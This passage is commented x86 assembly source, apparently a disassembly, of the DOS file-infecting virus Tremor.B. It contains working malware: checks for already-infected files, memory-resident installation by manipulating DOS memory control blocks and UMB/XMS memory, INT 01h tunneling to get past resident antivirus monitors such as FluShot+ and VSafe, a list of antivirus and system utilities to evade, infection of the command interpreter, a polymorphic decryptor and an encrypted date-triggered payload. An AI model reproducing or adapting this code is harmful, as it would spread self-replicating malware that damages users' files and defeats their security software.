memory? JZ Bad_File CALL Find_Candidate ; File not present? JC Bad_File CMP AL, Century ; No infected datestamp? JB Bad_File CALL Init_Open JNC LOC_143 CMP AL, 3 JA LOC_146 Bad_File: STC RETN LOC_143: CALL Chk_Inf_Date JB LOC_146 CALL Check_Inf_Date JB LOC_144 NEG AH CALL Set_Inf_Date LOC_144: CALL Check_Infected JNZ LOC_146 PUSH DS PUSH ES PUSH CS POP ES MOV SI, BP MOV DI, 2 CALL Get_Marker CMP AL, 0FFh JNE LOC_145 MOV AH, 60h CALL OldInt21h MOV ES:[DI-2], BX LOC_145: POP ES POP DS CALL Delete_Virus LOC_146: JMP LOC_75 Delete_Virus: PUSH CS POP DS CALL Write_Header MOV DX, Buffer.Host_Size ; Go to the end of our host. MOV CX, Buffer.Host_Size+2 MOV AL, 00h CALL File_Seek XOR CX, CX ; Cut-off virusbody by JMP Write_File ; writing the -marker. ; Returns ZF if the file is infected. Check_Infected: CALL Decrypt_Header ; Already infected? CMP CS:[SI.Undocumented], 0DEADh JNE Exit_Chk_Candidate CMP CS:[SI.Jump], 0E9h ; It's a .COM-file? JE Exit_Chk_Candidate CMP CS:[SI.EXE_Mark], 'ZM' ; It's a .EXE-file? Exit_Chk_Candidate: RETN Decrypt_Header: MOV SI, OFFSET Buffer PUSH SI MOV AX, CS:[SI.Unused] ; Decryption-key. Decr_W_Header: XOR CS:[SI], AX ; Decrypt word in header. ADD AX, 913Fh ; Sliding key. INC SI ; Next word. INC SI CMP SI, OFFSET Buffer + 30 ; First 28 bytes decrypted? JNE Decr_W_Header POP SI RETN Set_Marker: MOV CS:Busy, 0FFh RETN Get_Marker: MOV AL, CS:Busy RETN Hide_Block: MOV DX, Virus_Size_Mem Adjust_Block: RETN Switch = BYTE PTR $-1 ; RETN when installed in UMB. MOV CS:Opcode_4, 0 MOV AH, 52h ; Get list of lists. CALL OldInt21h CALL Get_First_MCB Find_Last_MCB: CMP [DI.MCB_Type], 'Z' ; Last block reached? JE Found_Last_MCB PUSH DS ; ES = MCB. POP ES CALL Get_Next_MCB JMP Find_Last_MCB Found_Last_MCB: ADD [DI.MCB_Size_Mem], DX RETN ; ; Get_Next_MCB: MOV AX, DS INC AX ADD AX, DS:[DI.MCB_Size_Mem] MOV DS, AX RETN ; ; Returns: DI = Offset in active buffer. ; DS = First MCB. ; ES:BX = Table. ; Get_List_Lists: MOV AH, 52h ; Get list of lists. INT 21h ; *UNDOCUMENTED* Get_First_MCB: LDS DI, DWORD PTR ES:[BX-4] RETN Check_File_Pos: CMP DX, CS:Buffer.Host_Size+2 JNE Exit_Chk_Pos CMP BX, CS:Buffer.Host_Size Exit_Chk_Pos: RETN Check_FluShot: MOV BYTE PTR CS:XMS_Driver, 1 MOV AX, 0FF0Fh PUSHF CALL DWORD PTR CS:Our_Int21h CMP AX, 0101h ; FluShot+ installed? MOV BYTE PTR CS:XMS_Driver, 0 RETN Call_VSafe: MOV AX, 0FA02h ; Returns flags and sets new. MOV DX, 5945h INT 13h RETN ; Encrypted with a XOR 9Ch: ; -=> TùRùEùMùOùR was done by NEUROBASHER / May-June'92, Germany <=- Payload_Msg1: DB 0B1h, 0A1h, 0A2h, 0BCh, 0C8h, 065h, 0CEh, 065h, 0D9h DB 065h, 0D1h, 065h, 0D3h, 065h, 0CEh, 0BCh, 0EBh, 0FDh DB 0EFh, 0BCh, 0F8h, 0F3h, 0F2h, 0F9h, 0BCh, 0FEh, 0E5h DB 0BCh, 0D2h, 0D9h, 0C9h, 0CEh, 0D3h, 0DEh, 0DDh, 0CFh DB 0D4h, 0D9h, 0CEh, 0BCh, 0B3h, 0BCh, 0D1h, 0FDh, 0E5h DB 0B1h, 0D6h, 0E9h, 0F2h, 0F9h, 0BBh, 0A5h, 0AEh, 0B0h DB 0BCh, 0DBh, 0F9h, 0EEh, 0F1h, 0FDh, 0F2h, 0E5h, 0BCh DB 0A0h, 0A1h, 0B1h, 09Ch ; ÄMOMENTÄOFÄTERRORÄISÄTHEÄBEGINNINGÄOFÄLIFEÄ Payload_Msg2 DB 058h, 0D1h, 0D3h, 0D1h, 0D9h, 0D2h, 0C8h, 058h, 0D3h DB 0DAh, 058h, 0C8h, 0D9h, 0CEh, 0CEh, 0D3h, 0CEh, 058h DB 0D5h, 0CFh, 058h, 0C8h, 0D4h, 0D9h, 058h, 0DEh, 0D9h DB 0DBh, 0D5h, 0D2h, 0D2h, 0D5h, 0D2h, 0DBh, 058h, 0D3h DB 0DAh, 058h, 0D0h, 0D5h, 0DAh, 0D9h, 058h, 09Ch PUSH AX IN AL, 60h CMP AL, 01010011b JNE End_f1 PUSH DS MOV AX, 40h ; DS = BIOS-datasegment. MOV DS, AX MOV AL, DS:[0017h] ; Keyboard statusbyte. TEST AL, 00001100b ; [Ctrl] + [Alt] pressed? JE End_Fuck ; Else exit routine. PUSH BX PUSH CX PUSH DX PUSH SI MOV AX, 0700h ; A bit weird way to clear XOR BX, BX ; the screen. MOV CX, BX MOV DX, 187Fh ; *** What's this for? INT 10h MOV AH, 02h ; Center cursor. MOV DX, 0907h INT 10h MOV SI, OFFSET Payload_Msg1 ; Decrypt and display the CALL Display_Encr_Text ; 1st encrypted message. MOV DX, 0F13h ; Center cursor just below INT 10h ; previous message. MOV SI, OFFSET Payload_Msg2 ; Decrypt and display the CALL Display_Encr_Text ; 2nd encrypted message. MOV CX, 150 Waste_Time_2: PUSH CX MOV CX, 0FFFFh Waste_Time_3: JMP $+2 LOOP Waste_Time_3 POP CX LOOP Waste_Time_2 POP SI POP DX POP CX POP BX End_Fuck: POP DS End_f1: POP AX CLI JMP DWORD PTR CS:Int15h Display_Encr_Text: MOV AL, CS:[SI] ; Get encrypted character. XOR AL, 9Ch ; Decrypt character. CMP AL, 00h ; *** Redundant instruction. JZ Exit_Dislay_E INT 29h ; Fast putchar. INC SI ; Repeat loop, (weird stuph). JNZ Display_Encr_Text Exit_Dislay_E: RETN Restore_All: CLI CALL Restore_Ints Restore_Regs: MOV AX, 98D3h Old_DS = WORD PTR $-2 MOV DS, AX MOV AX, 3ADh Old_ES = WORD PTR $-2 MOV ES, AX MOV AX, 4B00h Old_AX = WORD PTR $-2 MOV BX, 241H Old_BX = WORD PTR $-2 MOV CX, 209H Old_CX = WORD PTR $-2 MOV DX, 41A8H Old_DX = WORD PTR $-2 MOV SI, 0E4H Old_SI = WORD PTR $-2 MOV DI, 0000h Old_DI = WORD PTR $-2 MOV BP, 696AH Old_BP = WORD PTR $-2 STI RETN Mem_Mark_2 DW 0 Init_Res_Check: XOR BX, BX ; DS=0000h. MOV DS, BX LDS SI, DS:[BX+01h * 4] ; Get entrypoint INT 01h. CMP BYTE PTR DS:[SI], 0CFh ; IRET (thus no debugger) ? JNE LOC_157 CMP AH, 30h ; Get DOS-version? JNE Exit_Res_Check ; If this call was made by the virus, ; CX/DX should contain the current date. PUSH CX PUSH DX MOV AH, 2Ah ; Get system-date. CALL OldInt21h POP BX ; Month/day. POP BP ; Year. MOV AX, OFFSET Mem_Mark_2 CMP BP, CX ; CX is correct? ie. make JNE Store_Mem_Mark ; sure virus made the call. CMP BX, DX ; DX is correct? JNE Store_Mem_Mark LOC_157: MOV AX, OFFSET Mem_Mark_1 Store_Mem_Mark: MOV CS:Mem_Marker_Offs, AX Exit_Res_Check: JMP Restore_Regs ;============================================================================ ; INT 01h HANDLER ;============================================================================ NewInt01h: PUSH AX ; Save registers. PUSH BX PUSH SI CALL Entry2 ; Get current IP. Entry2: POP SI MOV BX, SP ; *** BP would save bytes. MOV AX, SS:[BX+8] CMP AX, 110h ; We're in the DOS-kernel? DOS_Segment = WORD PTR $-2 JA Save_Last_CSIP MOV CS:[SI+((Traced_Int+2)-Entry2)], AX MOV AX, SS:[BX+6] MOV CS:[SI+(Traced_Int-Entry2)], AX ; Clear the TF in the stack. AND BYTE PTR SS:[BX+0Bh], NOT 00000001b JMP Exit_Int01h Save_Last_CSIP: PUSH CS ; Get our CS. POP AX CMP AX, SS:[BX+8] ; Skip our own segment. JE Exit_Int01h MOV AX, SS:[BX+8] MOV CS:[SI+((Last_Tunneled+2)-Entry2)], AX MOV AX, SS:[BX+6] MOV CS:[SI+(Last_Tunneled-Entry2)], AX Exit_Int01h: POP SI POP BX POP AX IRET Name_Table DW 'HC' ; CHKDSK.EXE (MS-DOS). DW 'EM' ; MEM.EXE (MS-DOS). DW 'IM' Traced_Int = WORD PTR $-4 DW '2F' DW '-F' ; F-PROT.EXE (Datafellows). DW 'YS' ; SYSINFO.EXE (Norton Utilities). DW 'IS' ; SI.EXE (Norton Utilities). Last_Tunneled = WORD PTR $-4 DW 'MP' DW 'JR' ; ARJ.EXE DW 'ZK' ; PKZIP.EXE (PK-Ware). DW 'AH' ; LHA.EXE File_Spec DB '\*.*', 0 XMS_Driver DW 0110h, 0B001h ; === ENTRYPOINT AFTER POLYMORPHIC DECRYPTION === START: CALL Entry1 ; Get IP. Entry1: POP SI MOV AH, 2Ah ; Get system date. MOV CS:[SI+(Host_PSP-Entry1)], ES INT 21h MOV AL, 72h ; JB opcode. CMP DX, 0B06h ; 4 Months have past since Trg_Month_Day = WORD PTR $-2 ; the current host was JB Set_JMP ; infected? CMP CX, 1998 Trg_Year = WORD PTR $-2 JAE Set_Opcode1 Set_JMP: MOV AL, 0EBh ; JMP SHORT opcode. Set_Opcode1: MOV CS:[SI+(Opcode_1-Entry1)], AL MOV AH, 30h ; Get DOS-version. CLD INT 21h XCHG AL, AH ; Set human notation. CMP AX, 0300h + 29 ; DOS-version atleast 3.30 ? JA DOS_Version_OK JMP_Exec_Host: JMP Exec_Host DOS_Version_OK: MOV AX, 0F1E9h Residency_Check = WORD PTR $-2 INT 21h CMP AX, 0CADEh Mem_Mark_1 = WORD PTR $-2 JE JMP_Exec_Host XOR DI, DI MOV AX, 40h ; DS = BIOS-datasegment. MOV DS, AX MOV BP, [DI+13h] ; Total DOS-memory in kB. MOV CL, 6 ; Calculate start-segment of SHL BP, CL ; possible UMB-chain. MOV AH, 62h ; Get our PSP. INT 21h MOV DS, BX ; DS = our PSP. PUSH [DI+2Ch] ; Program setting variables. PUSH DS ; PSP. MOV CL, 90h ; NOP opcode. MOV AX, 5800h ; Get allocation strategy. INT 21h XOR AH, AH ; *** AH is already zero. PUSH AX ; Save strategy on stack. MOV AX, 5801h ; Set allocation strategy. MOV BX, 0080h ; First fit, start with UMBs. INT 21h MOV AX, 5802h ; Get UMB link status. INT 21h XOR AH, AH ; Save status on stack. PUSH AX MOV AX, 5803h ; Set UMB link status. MOV BX, 0001h ; Use UMBs. INT 21h JC Try_XMS_Alloc ; Abort when no UMBs present. MOV AH, 48h ; Get amount of free memory MOV BX, 0FFFFh ; in largest available block. INT 21h MOV AH, 48h ; Allocate all memory in INT 21h ; largest available block. MOV ES, AX ; ES = allocated block. CMP AX, BP ; Allocated memory is in UMB? JNB In_UMB_Memory DEC AX ; ES = MCB of allocated MOV ES, AX ; block. MOV ES:[DI.MCB_PSP], DI ; Mark block as available. Try_XMS_Alloc: MOV AX, 4300h ; Get XMS-driver status. INT 2Fh CMP AL, 80h ; XMS-driver installed? JNE Restore_Mem_Status MOV AX, 4310h ; Get XMS-driver address. INT 2Fh PUSH CS POP DS ; Save address XMS-driver. MOV [SI-(Entry1-XMS_Driver)], BX MOV [SI-(Entry1-(XMS_Driver+2))], ES MOV AH, 10h ; Get largest available UMB. MOV DX, 0FFFFh CALL DWORD PTR [SI-(Entry1-XMS_Driver)] CMP BL, 0B0h ; Only smaller UMB available? JNE Restore_Mem_Status MOV AH, 10h ; Allocate largest UMB avail. CALL DWORD PTR [SI-(Entry1-XMS_Driver)] DEC AX ; Abort when error occurred. JNZ Restore_Mem_Status MOV ES, BX ; ES = allocated UMB. In_UMB_Memory: MOV CL, 0C3h ; RETN opcode. MOV AX, ES ; DS = MCB of our UMB. DEC AX MOV DS, AX MOV [DI.MCB_Type], 'Z' ; Mark block last in chain. MOV [DI.MCB_PSP], DI ; Mark block as available. ; Resize last block, ie. create a hole for the virus. SUB [DI.MCB_Size_Mem], Virus_Size_Mem CALL Get_Next_MCB ; Save our segment. MOV CS:[SI+(Our_Segment-Entry1)], AX INC AX ; ES = our allocated block. MOV ES, AX Restore_Mem_Status: POP BX ; Restore UMB link state. MOV AX, 5803h INT 21h POP BX ; Restore allocation MOV AX, 5801h ; strategy. INT 21h POP DS ; PSP of our host. MOV CS:[SI-(Entry1-Switch)], CL CMP CL, 90h ; Already installed? JNE Copy_Virus_Up ; else use conventional ; method. PUSH DS POP ES MOV BX, 0FFFFh ; Get total amount of memory MOV AH, 4Ah ; in current block. INT 21h MOV AX, Virus_Size_Mem SUB [DI+2], AX ; Subtract from PSP TOM. SUB BX, AX ; Create a hole for the MOV AH, 4Ah ; virus in the current block. INT 21h MOV AX, DS ; Get segment of the hole INC AX ; we just created in ES. ADD AX, BX MOV ES, AX Copy_Virus_Up: PUSH SI PUSH CS POP DS ; Copy virus to the hole (allocated memory). SUB SI, (Entry1-Virus_Begin) MOV CX, (Virus_End-Virus_Begin) MOV DI, OFFSET Virus_Begin REP MOVSB ADD DI, 32 SUB SI, (End_Decryptor-Decryptor) MOV CX, (End_Decryptor-Decryptor) REP MOVSB POP SI PUSH ES MOV AX, 3521h ; Get address INT 21h. INT 21h POP DS CWD ; DX=0000h. MOV DI, OFFSET Mem_Mark_2 MOV [DI], DX MOV Mem_Marker_Offs, DI ; Dummy-value. MOV DI, OFFSET root ; Double save address INT 21h. MOV [DI+((Old_Int21h+2)-Root)], ES MOV [DI+(Old_Int21h-Root)], BX MOV [DI+((i21h+2)-Root)], ES MOV [DI+(i21h-Root)], BX MOV AL, 15h ; Get address INT 15h. INT 21h MOV [DI+(Int15h-Root)], BX MOV [DI+((Int15h+2)-Root)], ES CALL Set_Marker XOR CX, CX CALL Get_List_Lists MOV CS:[SI-(Entry1-DOS_Segment)], ES LOC_171: OR CX, CX JNZ LOC_172 MOV AX, DS ; First MCB. INC AX ; Get first segment. CMP AX, DS:[DI.MCB_PSP] JNE LOC_172 MOV CX, AX PUSH DS LOC_172: CMP BYTE PTR CS:[SI-(Entry1-Switch)], 90h JE LOC_173 CMP [DI.MCB_Type], 'Z' ; Last block? JNE LOC_174 MOV AX, 0DEF4h Our_Segment = WORD PTR $-2 JMP LOC_176 LOC_173: CMP [DI+DATA_83E],0C402H ;******* JNE LOC_174 CMP DS:[DI+DATA_83E+2],0F24H JE LOC_175 LOC_174: PUSH DS POP ES CALL Get_Next_MCB JMP LOC_171 LOC_175: MOV ES:[DI.MCB_Type], 'Z' ; Mark as last in chain. MOV [DI.MCB_PSP], CX LOC_176: POP CX ; First MCB. INC CX ; AX = first block. INC AX MOV DS, CX MOV CS:[SI+(Our_Seg-Entry1)], CX MOV CS:[SI+(Shit4-Entry1)], CX MOV CS:[SI+(Shit1-Entry1)], CX CALL Set_JMPF MOV DI, OFFSET Klos1 CALL Set_JMP_Seg MOV [DI+6], 0BBDH PUSH AX PUSH CS POP DS MOV WORD PTR [SI-(Entry1-(Last_Tunneled+2))], 0 PUSH AX MOV AX, 3501h ; Get address INT 01h. INT 21h MOV DI, BX ;BP:DI = address INT 01h. MOV BP, ES MOV AH, 25h ; Hook INT 01h. LEA DX, [SI-(Entry1-NewInt01h)] INT 21h POP ES PUSHF ; Set trapflag. POP AX OR AH, 00000001b PUSH AX POPF MOV AH, 30h ; Get DOS-version. PUSHF ; Trace the S.O.B. CALL DWORD PTR ES:Old_Int21h MOV AX, 2501h ; Restore original INT 01h. MOV DX, DI MOV DS, BP INT 21h PUSH CS POP DS PUSH SI ;* SUB SI, (Entry1-Name_Table) DB 83H,0C6H,0E0H MOV DI, OFFSET Old_Int21h MOVSW MOVSW POP SI MOV AX, [SI-(Entry1-(Last_Tunneled+2))] OR AX, AX JNZ LOC_178 LOC_177: MOV AX, 0C2AH ; Hook INT 21h. Our_Seg = WORD PTR $-2 MOV DS, AX MOV DX, OFFSET NewInt21h MOV AX, 2521h INT 21h JMP LOC_183 LOC_178: XOR BX, BX DEC AX CALL SUB_55 JZ LOC_179 SUB AX, 10h CALL SUB_55 JNZ LOC_177 LOC_179: CLI MOV BP, DS LOCLOOP_180: INC BP MOV DS, BP XOR BX, BX LOC_181: MOV AX, CS:[SI-(Entry1-Traced_Int)] CMP AX, [BX] JNE LOC_182 MOV AX, CS:[SI-(Entry1-(Traced_Int+2))] CMP AX, [BX+2] JNE LOC_182 MOV WORD PTR [BX],5 MOV WORD PTR [BX+2], 0C2AH Shit4 = WORD PTR $-2 LOC_182: INC BX CMP BL,10H JNE LOC_181 LOOP LOCLOOP_180 STI LOC_183: POP ES PUSH CS POP DS MOV AH, 1Ah ; Set our new DTA. LEA DX, [SI+(Buffer-Entry1)] MOV BX, DX INT 21h MOV AH, 4Eh ; Get volume-label. MOV CX, 00001000b LEA DX, [SI-(Entry1-File_Spec)] INT 21h MOV AX, [BX+16h] ; Time of creation. MOV CX, [BX+18h] ; Date of creation. CMP AX, 6EB9h Volume_Time = WORD PTR $-2 JNE LOC_184 CMP CX, 24A1h Volume_Date = WORD PTR $-2 JE Save_Vol_Info LOC_184: MOV ES:Opcode_1, 0EBh ; JMP SHORT opcode. Save_Vol_Info: MOV ES:Volume_Time, AX ; Save data of this system. MOV ES:Volume_Date, CX PUSH ES POP DS CMP Opcode_1, 0EBh ; JMP SHORT opcode. JE Infect_ComSpec MOV BX, 0C2AH Shit1 = WORD PTR $-2 MOV DS, BX MOV AX, 2515h ; Hook INT 15h. MOV DX, OFFSET NewInt15h INT 21h Infect_ComSpec: POP DS XOR BX, BX Find_ComSpec: CMP [BX], 'OC' ; CO(MSPEC) ? JNE Go_Next_Offs CMP [BX+6], '=C' ; (COMSPE)C= ? JE ComSpec_Found Go_Next_Offs: INC BX ; Next offset in settings. CMP BH, 8 ; Don't search too long. JNE Find_ComSpec JMP Exec_Host ComSpec_Found: LEA DX, [BX+8] ; Path command-interpreter, MOV AX, 4300h ; And infect it. MOV BX, 0FACEh INT 21h Exec_Host: CALL Entry3 ; Get IP. Entry3: POP SI ; Fill most of non-resident copy of virus with zeroes. XOR AX, AX LEA DI, [SI-(Entry3-Virus_Begin)] MOV CX, (Clear_Copy-Virus_Begin) / 2 PUSH CS POP ES Clear_Copy: REP STOSW ADD DI, 4DH MOV CX, 5EH REP STOSB MOV BX, 0A85h ; Restore original DS. Host_PSP = WORD PTR $-2 MOV DS, BX PUSH DS ; Restore original ES. POP ES MOV DX, 80h ; Restore standard DTA. MOV AH, 1Ah INT 21h MOV AL, EXE_Type Host_Type = BYTE PTR $-1 OR AL, AL ; Host is a .EXE-file? JZ Run_Host_EXE Run_Host_COM: MOV DS:[100h+1], 16ADh ; Restore word at offset 1 COM_Host_Word = WORD PTR $-2 ; of .COM-file we changed. PUSH CS JMP Push_Host_IP Run_Host_EXE: CLI MOV AX, CS ; Add SS of our host (NEG). SUB AX, 0000h Host_SS = WORD PTR $-2 MOV SS, AX ; Restore original stack. MOV SP, 4000h Host_SP = WORD PTR $-2 STI MOV AX, CS ; Add CS of our host (NEG). SUB AX, 0000h Host_CS = WORD PTR $-2 PUSH AX Push_Host_IP: MOV AX, OFFSET Carrier Host_IP = WORD PTR $-2 PUSH AX STI XOR AX, AX ; Clear registers. MOV BX, AX MOV CX, AX CWD MOV SI, AX MOV DI, AX MOV BP, AX RETF ; Pass control over to host. SUB_55: MOV DS, AX CMP BYTE PTR DS:[BX], 'D' JE LOC_193 CMP BYTE PTR DS:[BX], 'M' JNE LOC_RET_194 LOC_193: MOV AX, DS:[BX+3] CMP AH,0A0H JA LOC_RET_194 XCHG CX, AX XOR BP, BP LOC_RET_194: RETN ; AX = segment. Set_JMPF: MOV WORD PTR [DI.6], OFFSET NewInt Set_JMP_Seg: MOV BYTE PTR [DI.5], 0EAh ; JMP FAR opcode. MOV WORD PTR [DI.8], AX RETN Poly_Values DB 2 Decryptor: DB 00H, 03H, 01H DB 0E8h, 1Ch, 00h, 0B9h DB 0A0H, 0FH,0BAH,0CDH, 00H DB 0B4H, 40H, 9CH,0FFH, 1EH, 86H DB 00H, 9CH, 50H, 51H,0B0H, 00H DB 0A2H, 95H, 10H,0E8H, 04H, 00H DB 59H, 58H, 9DH,0C3H SUB_58: MOV AX, 0000h MOV DI, OFFSET DATA_66 MOV CX, 0000h Crypt_Word: XOR [DI], AX ADD AX, 0000h INC DI INC DI LOOP Crypt_Word RETN End_Decryptor: DB 32H DATA_66 DB 0C0H DB 0CFH Virus_End: Buffer DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 Jerm DB 0 DB 0 DW 0 DW 0 DW 0 DW 0 DW 0 Random_Key DW 0 DB 0 Gooney DW 0 DB 0 Memoy DW 0 MegaHead DB 0, 0 DW 0 db 6 dup(0) NewInt24h: DB 2022 DUP(0) Own_Header STRUC DB 24 DUP(0) Host_Size DW 0, 0 Own_Header ENDS COM_Header STRUC Jump DB 0 Displacement DW 0 COM_Header ENDS EXE_Header STRUC EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM. File_Mod_512 DW 0 File_512_Pages DW 0 Reloc_Items DW 0 Header_Size_Mem DW 0 Min_Mem_Para DW 0 Max_Mem_Para DW 0 Program_SS DW 0 Program_SP DW 0 Checksum DW 0 Program_IP DW 0 Program_CS DW 0 Reloc_Table DW 0 Overlay_Number DW 0 Undocumented DW 0 Unused DW 0 EXE_Header ENDS FindFirstHandle STRUC Handle_Reserved DB 21 DUP(0) Handle_Attr DB 0 Handle_Time DW 0 Handle_Date DW 0 Handle_Size DD 0 Handle_Name DB 13 DUP(0) FindFirstHandle ENDS FindFirst_FCB STRUC FCB_Drive DB 0 FCB_Name DB 8 DUP(0) FCB_Ext DB 3 DUP(0) FCB_Attr DB 0 FCB_Reserved DB 10 DUP(0) FCB_Time DW 0 FCB_Date DW 0 FCB_Start_Clust DW 0 FCB_Size DD 0 FindFirst_FCB ENDS MCB_Header STRUC MCB_Type DB 0 ; M = not last block, Z = last block. MCB_PSP DW 0 ; PSP-segment of this block. MCB_Size_Mem DW 0 ; Size of block in paragraphs. MCB_Program DB 8 DUP(0) ; Filename of program of this block. MCB_Header ENDS Carrier: PUSH CS POP DS MOV AH, 09h MOV DX, OFFSET Warning_Msg INT 21h MOV AX, 4C00h INT 21h Warning_Msg DB 'Infected with Tremor.B virus!', 0Ah, 0Dh, '$' END START